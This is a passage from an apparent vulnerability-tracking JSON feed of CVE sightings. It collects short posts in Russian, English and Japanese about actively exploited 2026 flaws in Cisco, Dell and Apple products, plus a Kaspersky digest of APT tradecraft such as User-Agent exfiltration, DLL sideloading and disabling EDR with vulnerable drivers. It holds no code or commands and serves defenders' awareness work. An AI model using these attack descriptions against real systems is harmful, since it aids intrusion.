\u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442, \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c 29 \u043c\u0435\u0441\u044f\u0446\u0435\u0432. \u0410 \u0442\u0435\u043f\u0435\u0440\u044c \u0441\u0440\u0430\u0432\u043d\u0438\u0442\u0435: \u0432\u0440\u0435\u043c\u044f, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0432\u0435\u0436\u0443\u044e CVE (\u0442\u0430\u043a \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0439 n-day), \u0441\u0436\u0430\u043b\u043e\u0441\u044c \u0434\u043e 5 \u0434\u043d\u0435\u0439. \u0412 2018\u20132019 \u0431\u044b\u043b\u043e \u043e\u043a\u043e\u043b\u043e 32. \u0427\u0443\u0432\u0441\u0442\u0432\u0443\u0435\u0442\u0435 \u0440\u0430\u0437\u0440\u044b\u0432?\n\n\u2757\ufe0fGoogle Threat Intelligence Group \u043d\u0430\u0441\u0447\u0438\u0442\u0430\u043b\u0430 75 zero-day \u0437\u0430 2024 \u0433\u043e\u0434, \u0438 44% \u0430\u0442\u0430\u043a \u043f\u0440\u0438\u0448\u043b\u0438\u0441\u044c \u043d\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b \u2014 \u0440\u0435\u043a\u043e\u0440\u0434\u043d\u0430\u044f \u0434\u043e\u043b\u044f. SD-WAN \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b, \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u0435\u0442\u0435\u0432\u043e\u0435 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0432\u0441\u0451, \u0447\u0442\u043e \u0442\u043e\u0440\u0447\u0438\u0442 \u043d\u0430\u0440\u0443\u0436\u0443 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439.\n\n\u0420\u0430\u0437\u0431\u0435\u0440\u0451\u043c \u043d\u0430 \u0434\u0432\u0443\u0445 \u0441\u0432\u0435\u0436\u0438\u0445 \u043f\u0440\u0438\u043c\u0435\u0440\u0430\u0445, \u043a\u0430\u043a \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435.\n\n\ud83c\udf87CVE-2026-20127 \u2014 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 Cisco Catalyst SD-WAN. CVSS 10.0 \u0438\u0437 10. \u0410\u0442\u0430\u043a\u0430 \u043f\u043e \u0441\u0435\u0442\u0438, \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f, \u0431\u0435\u0437 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0441\u043a\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u0432\u0441\u0435\u0439 SD-WAN-\u0441\u0435\u0442\u0438. \u0414\u0430\u043b\u044c\u0448\u0435 \u2014 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442 \u0442\u0440\u0430\u0444\u0438\u043a\u0430, lateral movement, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 rogue peers \u0434\u043b\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f. EPSS \u2014 0.88, \u044d\u0442\u043e \u0442\u043e\u043f-1% \u0441\u0440\u0435\u0434\u0438 \u0432\u0441\u0435\u0445 CVE \u043f\u043e \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0439 \u043c\u0435\u0441\u044f\u0446.\n\n\ud83d\udd11CVE-2026-22769 \u2014 \u0432\u0448\u0438\u0442\u044b\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 Dell RecoverPoint for Virtual Machines. \u041a\u043b\u0430\u0441\u0441\u0438\u043a\u0430 \u0436\u0430\u043d\u0440\u0430: hardcoded credentials, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0430\u044e\u0442 root-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u041e\u0421. \u041d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439, \u0437\u043d\u0430\u044e\u0449\u0438\u0439 \u044d\u0442\u0438 \u043a\u0440\u0435\u0434\u044b, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f. \u041e\u0431\u0430 \u043a\u0435\u0439\u0441\u0430 \u2014 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 CISA KEV, \u043e\u0431\u0430 \u0441 \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c SSVC: Act, \u0442\u043e \u0435\u0441\u0442\u044c \u00ab\u043f\u0430\u0442\u0447\u0438\u0442\u044c \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e\u00bb.\n\n\u0427\u0442\u043e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u0435\u0442 \u044d\u0442\u0438 \u043f\u0440\u0438\u043c\u0435\u0440\u044b? \u0416\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u0439 \u0446\u0438\u043a\u043b zero-day \u2014 \u043d\u0435 \u043b\u0438\u043d\u0435\u0439\u043d\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u00ab\u043d\u0430\u0448\u043b\u0438 \u2192 \u043f\u043e\u0447\u0438\u043d\u0438\u043b\u0438\u00bb. \u042d\u0442\u043e \u0448\u0435\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432, \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0440\u0430\u0437\u043d\u044b\u0435 \u043b\u044e\u0434\u0438 \u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0440\u0430\u0437\u043d\u044b\u0435 \u043e\u043a\u043d\u0430 \u0440\u0438\u0441\u043a\u0430:\n\n\u2022 \u0412\u043d\u0435\u0441\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u2014 \u0431\u0430\u0433 \u0440\u043e\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0438 \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438\n\u2022 \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u2014 \u043d\u0430\u0445\u043e\u0434\u0438\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0444\u0430\u0437\u0437\u0435\u0440 \u0438\u043b\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\n\u2022 \u0412\u043e\u043e\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u2014 \u0438\u0437 \u0431\u0430\u0433\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442 \u0431\u043e\u0435\u0432\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0441 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0435\u0439\n\u2022 \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0442\u0438\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u0435\u0439\n\u2022 \u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0438 \u043f\u0430\u0442\u0447 \u2014 \u0432\u0435\u043d\u0434\u043e\u0440 \u0443\u0437\u043d\u0430\u0451\u0442, \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\n\u2022 \u0420\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u2014 \u043f\u0430\u0442\u0447 \u0432\u044b\u043f\u0443\u0449\u0435\u043d, \u043d\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0442\u0435\u0441\u0442\u0438\u0440\u0443\u044e\u0442, \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u044b\u0432\u0430\u044e\u0442 \u043e\u043a\u043d\u0430 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u044f, \u043a\u0430\u0442\u044f\u0442 \u043a\u0430\u0441\u043a\u0430\u0434\u043d\u043e\n\n\u0418 \u0432\u043e\u0442 \u043f\u0430\u0440\u0430\u0434\u043e\u043a\u0441: \u043f\u043e\u0441\u043b\u0435 \u043f\u044f\u0442\u043e\u0433\u043e \u044d\u0442\u0430\u043f\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435 \u0438\u0441\u0447\u0435\u0437\u0430\u0435\u0442. \u041e\u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442 \u0438\u0437 \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 0-day \u0432 n-day, \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f \u2014 \u0438\u043d\u043e\u0433\u0434\u0430 \u0442\u0435 \u0441\u0430\u043c\u044b\u0435 29 \u043c\u0435\u0441\u044f\u0446\u0435\u0432.\n\n\u27a1\ufe0f\u0412 \u043f\u043e\u043b\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u2014 CVSS-\u0432\u0435\u043a\u0442\u043e\u0440\u044b \u0441 \u043f\u043e\u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043d\u044b\u043c \u0440\u0430\u0437\u0431\u043e\u0440\u043e\u043c, \u043c\u0430\u043f\u043f\u0438\u043d\u0433 \u043d\u0430 MITRE ATT&CK \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0447\u0435\u043a\u043b\u0438\u0441\u0442 \u0434\u043b\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\nhttps://codeby.net/threads/uyazvimost-nulevogo-dnya-zhiznennyi-tsikl-real-nyye-cve-i-protsess-patchinga.94896/", "creation_timestamp": "2026-08-04T06:00:04.518505Z"}, {"uuid": "c10e2243-c2c2-4de0-9884-b2b112917ad9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mruxrwfc4u2t", "content": "CISA warns of active exploitation of Cisco Secure Firewall Management Center vulnerability CVE-2026-20316; immediate patching advised. #CyberSecurity #Cisco #Firewall #Vulnerability #CISA thedailytechfeed.com/critical-cis...", "creation_timestamp": "2026-07-30T17:31:07.192009Z"}, {"uuid": "e096b353-d95f-44cf-8dde-06609b6dbaf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://t.me/CyberDispatch/983", "content": "Apple patched a WebKit flaw that lets crafted pages bypass browser isolation.\n\nCVE-2026-20643 impacts iOS, iPadOS, and macOS. Fixes now ship via background updates, outside full OS releases.", "creation_timestamp": "2026-08-30T00:00:44.487197Z"}, {"uuid": "34b501b5-c251-4ae0-be9d-decac89e3c16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mruyxvllj227", "content": "\ud83d\udce2 CISA WARNING: A static credential flaw in Cisco Secure Firewall Management Center (CVE-2026-20316) is actively exploited. The flaw allows unauthorized access. CISA adds it to KEV catalog, mandating federal action. #CVE202620316 #Cisco #KEV\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-07-30T17:52:20.325641Z"}, {"uuid": "8a7a8609-7307-4ee8-9f69-84e86bf9c51a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20316", "type": "seen", "source": "https://bsky.app/profile/thecybersecguru.com/post/3mrv3s532zd2r", "content": "Cisco Warns of Active Exploitation of Secure Firewall Management Center Flaw Caused by Hardcoded\u00a0Credentials\n\nCisco confirms active exploitation of CVE-2026-20316, a hardcoded credentials flaw in\u2026\n\nhttps://thecybersecguru.com/news/cisco-fmc-cve-2026-20316-hardcoded-credentials-active-exploitation/", "creation_timestamp": "2026-07-30T18:42:48.041492Z"}, {"uuid": "737351af-fa93-48b2-ba12-be37efc9fcfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://t.me/CyberDispatch/1690", "content": "Critical Alert: Cisco Secure Workload Hit with CVSS 10.0 Flaw.\n\nUnauthenticated attackers can exploit a REST API vulnerability (CVE-2026-20223) to steal sensitive data and make configuration changes across tenant boundaries with Site Admin privileges.", "creation_timestamp": "2026-08-30T00:00:40.689688Z"}, {"uuid": "c534a327-1e1a-4ccd-a91b-e06f2c034c1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/CyberDispatch/1621", "content": "CISA added CVE-2026-20182, a CVSS 10.0 authentication bypass in Cisco Catalyst SD-WAN Controller, to its KEV catalog amid active exploitation.", "creation_timestamp": "2026-08-30T00:00:40.947340Z"}, {"uuid": "964207eb-30ba-4604-8bf6-cc63672d3b84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mrv6yxvqgc2t", "content": "\u300cCisco Unified CM\u300d\u306eSSRF\u8106\u5f31\u6027\u3001\u60aa\u7528\u306b\u6ce8\u610f\n\nCisco Systems\u306f\u3001\u300cCisco Unified Communications Manager\uff08Unified CM\uff09\u300d\u306e\u8106\u5f31\u6027\u300cCVE-2026-20230\u300d\u304c\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3068\u3057\u3001\u6ce8\u610f\u3092\u547c\u3073\u304b\u3051\u305f\u3002\n\n\u540c\u793e\u306f2026\u5e746\u67083\u65e5\u306b\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u3001\u540c\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u660e\u3089\u304b\u306b\u3057\u3066\u3044\u305f\u304c\u30017\u67081\u65e5\u306b\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u306e\u5185\u5bb9\u3092\u66f4\u65b0\u3002\u516c\u958b\u5f53\u521d\u3088\u308a\u5b9f\u8a3c\u30b3\u30fc\u30c9\u306e\u5b58\u5728\u3092\u660e\u3089\u304b\u306b\u3057\u3066\u3044\u305f\u304c\u3001\u5b9f\u969b\u306b\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u30926\u6708\u306b\u78ba\u8a8d\u3057\u305f\u3068\u3044\u3046\u3002\n\n\u7d30\u5de5\u3057\u305fHTTP\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u9001\u4fe1\u3059\u308b\u3053\u3068\u3067\u3001\u8a8d\u8a3c\u3092\u5fc5\u8981\u3068\u3059\u308b\u3053\u3068\u306a\u304f\u3001\u30ea\u30e2\u30fc\u30c8\u3088\u308a...", "creation_timestamp": "2026-07-30T19:40:18.724299Z"}, {"uuid": "403784df-21f9-4e16-b83a-d20bd2fa434d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/CyberDispatch/1614", "content": "Limited attacks are exploiting CVE-2026-20182, a CVSS 10.0 auth bypass in Cisco Catalyst SD-WAN Controller.\n\nUnauthenticated remote attackers can gain admin privileges and manipulate SD-WAN configurations.\n\nAffected: on-prem, cloud, government deployments.", "creation_timestamp": "2026-08-30T00:00:41.074889Z"}, {"uuid": "79cad71c-7154-488b-8e81-5a2333709bd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mrvgkjskfc2a", "content": "Cisco warns of FMC static credential flaw exploited in zero-day attacks\n\nCisco is warning that a high-severity Secure Firewall Management Center (FMC) static credential vulnerability, tracked as CVE-2026-20316, was actively exploited in zero-day attacks to gain unauthorized access\u2026\n#hackernews #news", "creation_timestamp": "2026-07-30T21:55:24.050750Z"}, {"uuid": "bbd5e22d-907e-42ae-a3b4-37a72f480fd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "exploited", "source": "https://t.me/kasperskyb2b/2275", "content": "\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f APT \u0438 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u0418\u0411 \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e\n\n\ud83d\udfe2\u0420\u0430\u0437\u0431\u043e\u0440 \u043d\u043e\u0432\u044b\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0439 APT GOFFEE, \u0440\u0430\u0441\u0448\u0438\u0440\u0438\u0432\u0448\u0435\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0432 \u0420\u0424 \u0438 \u0420\u0411. \u0421\u0440\u0435\u0434\u0438 \u043d\u043e\u0432\u044b\u0445 TTPs: \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u044b \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 Mythic, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u0432 Linux-\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430\u0445, \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 HTTP-\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 User-Agent (!), \u0438 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u0445\u043e\u0441\u0442\u0430\u0445 \u0447\u0435\u0440\u0435\u0437 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (!!). \n\n\ud83d\udd35\u0428\u043f\u0438\u043e\u043d\u0441\u043a\u0430\u044f APT \u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a\u0430 Gunra \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 0day \u0432 \u044e\u0436\u043d\u043e\u043a\u043e\u0440\u0435\u0439\u0441\u043a\u043e\u043c \u041f\u041e \u0434\u043b\u044f \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0430\u0442\u0430\u043a\u0443\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0438\u0437 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e\u0433\u043e \u0441\u0435\u043a\u0442\u043e\u0440\u0430, \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u0438. \u0427\u0435\u0440\u0435\u0437 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0432\u043e\u0434\u043e\u043f\u043e\u0439 \u0438 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0444\u0438\u0448\u0438\u043d\u0433 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0438\u0441\u044c \u0431\u044d\u043a\u0434\u043e\u0440\u044b Struggle \u0438 Brandoor. \n\n\ud83d\udfe3\u0414\u0432\u0430 \u043d\u043e\u0432\u044b\u0445 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430 \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u0432, OctLurk \u0438 SilkLurk, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u044b \u043d\u0430 \u0433\u043e\u0441\u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f, \u043f\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u044b, \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432 \u0426\u0435\u043d\u0442\u0440\u0430\u043b\u044c\u043d\u043e\u0439 \u0410\u0437\u0438\u0438 \u0438 \u043d\u0430 \u0411\u043b\u0438\u0436\u043d\u0435\u043c \u0412\u043e\u0441\u0442\u043e\u043a\u0435. \u041e\u0431\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 DLL sideloading \u0438 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u044e\u0442 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0445\u043e\u0441\u0442\u0430 \u043a\u043b\u044e\u0447\u0430\u043c\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0431\u0440\u0430\u0437\u0446\u044b \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f \u0432\u043d\u0435 \u043c\u0430\u0448\u0438\u043d\u044b \u0436\u0435\u0440\u0442\u0432\u044b. \n\n\ud83d\udfe3\u0413\u0440\u0443\u043f\u043f\u0430 Toy Ghouls \u043e\u0442\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043e\u0442 LockBit \u0438 Babuk \u0432 \u043f\u043e\u043b\u044c\u0437\u0443 GenieLocker \u2014 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a\u0430 \u0441\u043e \u0441\u0431\u043e\u0440\u043a\u0430\u043c\u0438 \u0434\u043b\u044f Windows, Linux \u0438 ESXi, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0432\u0448\u0435\u0433\u043e\u0441\u044f \u043f\u0440\u043e\u0442\u0438\u0432 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0438\u0437 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u0438, \u0441\u0442\u0440\u043e\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430, \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e\u0433\u043e \u0441\u0435\u043a\u0442\u043e\u0440\u0430, \u0440\u043e\u0437\u043d\u0438\u0446\u044b \u0438 \u0418\u0422. \n\n\ud83d\udd35\u0420\u0430\u0437\u0431\u043e\u0440 \u0430\u0442\u0430\u043a\u0438 APT SilverFox, \u0441\u043b\u0443\u0445\u0438 \u043e \u0441\u043c\u0435\u0440\u0442\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u0440\u0435\u0443\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u044b. \u041e\u043d\u0430  \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u043b\u0430 \u0412\u041f\u041e ValleyRAT \u0432 \u044f\u043f\u043e\u043d\u0441\u043a\u043e\u0439 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438. \u0412 \u0430\u0442\u0430\u043a\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0438\u0441\u044c \u0430\u0436 \u0442\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u044f\u0434\u0440\u0430 \u0434\u043b\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f EDR, \u0430 